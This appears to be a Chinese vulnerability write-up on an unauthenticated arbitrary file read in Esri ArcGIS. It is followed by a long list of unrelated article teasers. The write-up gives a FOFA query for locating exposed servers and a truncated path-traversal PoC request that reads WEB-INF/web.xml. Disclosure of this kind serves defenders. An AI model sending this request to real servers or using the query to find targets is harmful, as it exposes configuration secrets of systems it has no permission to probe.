ArcGIS 地理信息系统 任意文件读取漏洞复现
0x01 产品简介
ArcGIS是由美国Esri公司研发的地理信息系统（GIS）软件，它整合了数据库、软件工程、人工智能、网络技术、云计算等主流的IT技术，旨在为用户提供一套完整的、开放的企业级GIS解决方案，它包含了一套带有用户界面组件的Windows桌面应用。可以实现从简单到复杂的地理信息系统(GIS)任务，如制图、地理分析、数据编辑、数据管理、可视化和空间处理等。
0x02 漏洞概述
ArcGIS地理信息系统 存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。
0x03 复现环境
FOFA：app="esri-ArcGIS"
0x04 漏洞复现
PoC
GET /arcgis/manager/3370/js/../WEB-INF/web.xml HTTP/1.0
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.相关文章：
ArcGIS 地理信息系统 任意文件读取漏洞复现
0x01 产品简介 ArcGIS是由美国Esri公司研发的地理信息系统（GIS）软件，它整合了数据库、软件工程、人工智能、网络技术、云计算等主流的IT技术，旨在为用户提供一套完整的、开放的企业级GIS解决方案，它包含了一套带有用户界面组件的Windows桌面应用。可以实现从简单到复杂的…...
11.07学习
一、三中代码解决鸡兔同笼问题 1.直接解方程 #include <stdio.h> int main() { int heads, feet, chickens, rabbits; printf("请输入总头数："); scanf("%d", &heads); printf("请输入总脚数："); scanf(…...
【JavaEE】常见锁策略、CAS
目录 常见的锁策略 乐观锁 vs 悲观锁 重量级锁 vs 轻量级锁 自锁锁和挂起等待锁 读写锁 可重入锁 vs 不可重入锁 公平锁 vs 非公平锁 CAS ABA问题 synchronized几个重要的机制 1、锁升级 2、锁消除 3、锁粗化 常见的锁策略 乐观锁 vs 悲观锁 乐观锁和悲观锁是锁的…...
Logstash 安装与部署（无坑版）
下载 版本对照关系：ElasticSearch 7.9.2 和 Logstash 7.9.2 ； 官方下载地址 选择ElasticSearch版本一致的Logstash版本 https://www.elastic.co/cn/downloads/logstash 下载链接：https://artifacts.elastic.co/downloads/logstash/logst…...
鸿蒙开发：ArkUI Toggle 组件
ArkUI提供了一套完整的UI开发工具集，帮助开发者高效完成页面的开发。它融合了语言、编译器、图形构建等关键的应用UI开发底座，为应用的UI开发提供了完整的基础设施，包括简洁的UI语法、丰富的UI功能以及实时界面预览工具等，可以支持…...
使用Matlab神经网络工具箱
综述 在大数据和人工智能时代，神经网络是一种最为常见的数据分析和拟合工具。本报告以常用分析软件Matlab为例，介绍其中神经网络工具箱使用方法。 Step 1: 打开matlab 安装matlab 2018以上版本后，双击图标打开。 Step 2: 打开神经网络拟合…...
【面试题】Hive 查询：如何查找用户连续三天登录的记录
1. 需求概述 在分析用户行为时，查询用户的连续登录数据是一个常见需求。例如，我们需要找出每个用户连续三天登录的记录。给定一个包含用户登录记录的表，我们需要对这些数据进行处理，提取出用户连续三天登录的日期。 2. 问题说明…...
高活跃社区 Doge 与零知识证明的强强联手，QED 重塑可扩展性
在 Web3 的广阔生态中，Doge 无疑是最具标志性和趣味性的项目之一。作为一种起源于网络文化的符号，Doge 从最初的互联网玩笑发展为如今备受全球关注的去中心化资产，依靠其独特的魅力和广泛的用户基础，构建了一个充满活力的社区。 …...
qt QAbstractTableModel详解
1、概述 QAbstractTableModel 是 Qt 框架中的一个类，用于在 Qt 应用程序中实现自定义的表格数据模型。它是 Qt 中的一个抽象基类，提供了创建和操作表格数据所需的接口。QAbstractTableModel 为模型提供了一个标准接口，这些模型将其数据表示为…...
掌握 Navicat 数据库结构设计 | 提升工作效率的秘诀
近期，我们介绍了 Navicat 17 的一系列的新特性，包括：兼容更多数据库、全新的模型设计、可视化 BI、智能数据分析、可视化查询解释、高质量数据字典、增强用户体验、扩展 MongoDB 功能、轻松固定查询结果、便捷 URI、支持更多平台等。今天&…...
Ollama AI 框架缺陷可能导致 DoS、模型盗窃和中毒
近日，东方联盟网络安全研究人员披露了 Ollama 人工智能 (AI) 框架中的六个安全漏洞，恶意行为者可能会利用这些漏洞执行各种操作，包括拒绝服务、模型中毒和模型盗窃。 知名网络安全专家、东方联盟创始人郭盛华表示：“总的来说&…...
vue 3：监听器
目录 1. 基本概念 2. 侦听数据源类型 1. 监听getter函数 2. 监听 ref 或 reactive 的引用 3. 多个来源组成的数组 4. 避免直接传递值！！！ 3. 深层侦听器 4. 立即回调的侦听器 5. 一次性侦听器 6. watchEffect() 7. 暂停、恢复和停止…...
Java学习路线：Maven（四）Maven常用命令
在IDEA的Maven模块中，可以看到每个项目都有一个生命周期 这些生命周期实际上是Maven的一些插件，每个插件都有各自的功能，而双击这些插件就可以执行命令 这些命令的功能如下： clean：清除整个 target文件夹，…...
服务器数据恢复—分区结构被破坏的reiserfs文件系统数据恢复案例
服务器数据恢复环境： 一台服务器中有一组由4块SAS硬盘组建的RAID5阵列，上层安装linux操作系统统。分区结构：boot分区LVM卷swap分区（按照顺序），LVM卷中划分了一个reiserfs文件系统作为根分区。 服务器故障…...
lua入门教程：type函数
在Lua中，type 函数是一个内置函数，用于返回给定值的类型。Lua 支持多种数据类型，包括 nil（空值）、boolean（布尔值）、number（数字）、string（字符串）…...
Java图片转word
该方法可以控制一页是否只显示存放一张图片 第一步 <dependency><groupId>org.apache.poi</groupId><artifactId>poi-ooxml</artifactId><version>5.2.3</version></dependency><dependency><groupId>org.apache…...
立体视觉的核心技术：视差计算与图像校正详解
立体视觉的核心技术：视差计算与图像校正详解 在立体视觉中，通过双目相机（即左右两台相机）的不同视角捕获的图像，结合几何关系，我们可以推算出场景中物体的深度。本文将深入讲解如何基于视差（di…...
PaddleNLP的FAQ问答机器人
项目源码获取方式见文章末尾！ 600多个深度学习项目资料，快来加入社群一起学习吧。 《------往期经典推荐------》 项目名称 1.【DDRNet模型创新实现人像分割】 2.【卫星图像道路检测DeepLabV3Plus模型】 3.【GAN模型实现二次元头像生成】 4.【CNN模型实…...
2024年12月中国多场国际学术会议，EI检索录用！
2024年12月，多场国际学术会议将在中国多地召开，涵盖AI、机器人、大数据、网络安全、传感制造、环境工程、物联网等领域，促进学术交流，录用论文将EI检索，诚邀国内外专家参会。 第三届人工智能、人机交互和机器人国际学…...
日语学习的难易程度
日语学习的难易程度是一个相对主观的问题，它受到多种因素的影响，包括个人的语言学习能力、学习方法、学习时间、学习资源的可获得性以及个人对日语文化的兴趣和投入程度等。以下是对日语学习难易程度的一些分析： 优点与易学之处 文字系统&am…...
PHP SimpleXML：深入解析与高效使用
PHP SimpleXML：深入解析与高效使用 引言 PHP 是一种广泛使用的服务器端脚本语言，它以其灵活性和强大的功能而闻名。在处理 XML 数据时，PHP 提供了多种方法，其中 SimpleXML 是一个简单且强大的库，它允许开发者轻松地解析和操作 XML 数据。本文将深入探讨 PHP SimpleXML 的…...
高频电路中的隐形卫士：深度解析开关二极管BAV99的选型与应用
1. 高频电路中的隐形挑战：为什么需要BAV99？ 当你设计一个高速数字接口或者射频模块时，最头疼的问题往往不是功能实现，而是那些看不见的高频干扰。我曾经在一个USB3.0接口保护电路的设计中，就因为选错了二极管ÿ…...
VSCode + Modelsim 搭建Verilog开发环境：除了语法检查，还能这样玩？
VSCode与ModelSim深度集成：打造高效Verilog开发工作流 在数字电路设计领域，Verilog作为硬件描述语言的标准之一，其开发效率直接影响项目进度。传统开发模式中，工程师需要在多个工具间频繁切换——编辑器用于编码，Model…...
[Android] 文案设计助手_24.06.25
[Android] 文案设计助手_24.06.25 链接：https://pan.xunlei.com/s/VOszMVvm4BmG5za6Ib11nfGrA1?pwdsg9f# 文案设计助手，助您文案生成、自动写作，模拟手写生成器。免登陆，下载即用，无需会员。...
潍坊漆面车衣怎么选才合适？
很多潍坊车主在给爱车选漆面保护膜时，都会有这样的困惑：网上信息真假难辨，线下门店推荐又参差不齐，到底该怎么选才合适？其实，选漆面车衣没有想象中那么复杂，关键是要掌握一套通用的判断标准。本…...
仅限内部团队使用的Perplexity行业扫描协议（附可复用Prompt模板库+信源可信度评分表v2.3）
更多请点击： https://codechina.net 第一章：Perplexity行业扫描协议的定位与适用边界 Perplexity行业扫描协议（Perplexity Industry Scanning Protocol，简称PISP）并非通用型AI评估框架，而是一套面向垂直领…...
告别文档踩坑：手把手教你用OkHttp和Gson解析OneNET API返回的复杂JSON数据
告别文档踩坑：手把手教你用OkHttp和Gson解析OneNET API返回的复杂JSON数据 在Android开发中，处理网络请求和JSON数据解析是每个开发者都必须掌握的基本技能。然而，当面对像OneNET这样的物联网平台返回的复杂嵌套JSON结构时，即使是…...
10大好用WMS系统盘点！2026年企业WMS系统选型实战指南
在2026年企业数字化转型的浪潮中，WMS系统（仓储管理系统）已经成为提升供应链效率的核心工具。面对市面上琳琅满目的WMS系统，企业如何进行精准的WMS系统选型，成为了管理者面临的一大难题。为了帮助大家避坑，本…...
【NotebookLM因子分析实战指南】：3步解锁AI驱动的维度降维与业务洞察力
更多请点击： https://intelliparadigm.com 第一章：NotebookLM因子分析辅助的底层逻辑与价值定位 NotebookLM 是 Google 推出的面向研究者的 AI 助手，其核心能力并非泛化式问答，而是基于用户上传文档进行“可信引用驱动”的深度推…...
【无人机协同】联合优化无人机轨迹、发射功率与地面用户-MEC关联的多无人机多地面用户系统 附matlab代码✅
✅作者简介：热爱科研的Matlab仿真开发者，擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎完整代码获取 定制创新 论文复现点击：Matlab科研工作室👇 关注我领取海量m…...